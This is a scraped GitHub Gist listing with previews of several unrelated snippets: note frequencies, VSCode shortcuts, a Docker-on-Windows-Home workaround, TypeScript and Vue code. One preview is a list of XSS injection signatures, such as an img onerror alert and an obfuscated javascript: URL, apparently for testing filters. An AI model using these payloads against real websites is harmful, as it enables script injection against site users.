Skip to content

Instantly share code, notes, and snippets.

@i-Robi
i-Robi / notes-frequencies.json
Last active July 1, 2024 22:03
Note-frequency values
{
"C0": 16.35,
"C#0": 17.32,
"Db0": 17.32,
"D0": 18.35,
"D#0": 19.45,
"Eb0": 19.45,
"E0": 20.60,
"F0": 21.83,
"F#0": 23.12,
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active June 3, 2024 15:29
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@0x263b
0x263b / colors.md
Last active May 16, 2024 09:59
Random color from string in javascript

Random color from string in javascript

Consider a list of strings you need to permanently assign a random color.

First you should turn the string into a hash.

var string = "string"
var hash = 0
@bradtraversy
bradtraversy / vscode_shortcuts.md
Last active June 28, 2024 19:33
Helpful shortcuts for VSCode

VSCode Shortcuts

List of helpful shortcuts for faster coding

If you have any other helpful shortcuts, feel free to add in the comments of this gist :)

Official List of all commands

@talon
talon / README.md
Last active June 11, 2021 10:35
Install Docker On Windows 10 Home

Install Docker On Windows 10 Home

"Windows Home Docker Desktop requires Windows 10 Pro or Enterprise version 15063 to run." So says the Docker Installer however, the Docker forums beg to differ

The workaround is to manually image the Hyper-V and Containers features, then trick the installer into thinking you're using Windows Pro.

TL;DR

  1. clone this gist somewhere locally git clone https://gist.github.com/4191def376c9fecae78815454bfe661c.git windows_home_docker
  2. Run windows_home_containers.ps1 in an Administrative Powershell
const FIRST_MONTH_OF_THE_YEAR = 0;
const FIRST_DAY_OF_THE_MONTH = 1;
const DAYS_IN_A_WEEK = 7;
const THURSDAY_DAY_OF_THE_WEEK = 4;
const SUNDAY_DAY_OF_THE_WEEK = 7;
const TEN_DAYS_MILISECONDS = 86400000;
export type WeekOfYear = {
week: number;
year: number;
@NWYLZW
NWYLZW / shims-vue-router.d.ts
Created November 7, 2021 07:58
shims for vue
import 'vue-router'
declare module 'vue-router' {
interface RouteMeta {
title: string
need?: {
groups?: string[]
}
icon?: NodeRequire,
activeIcon?: NodeRequire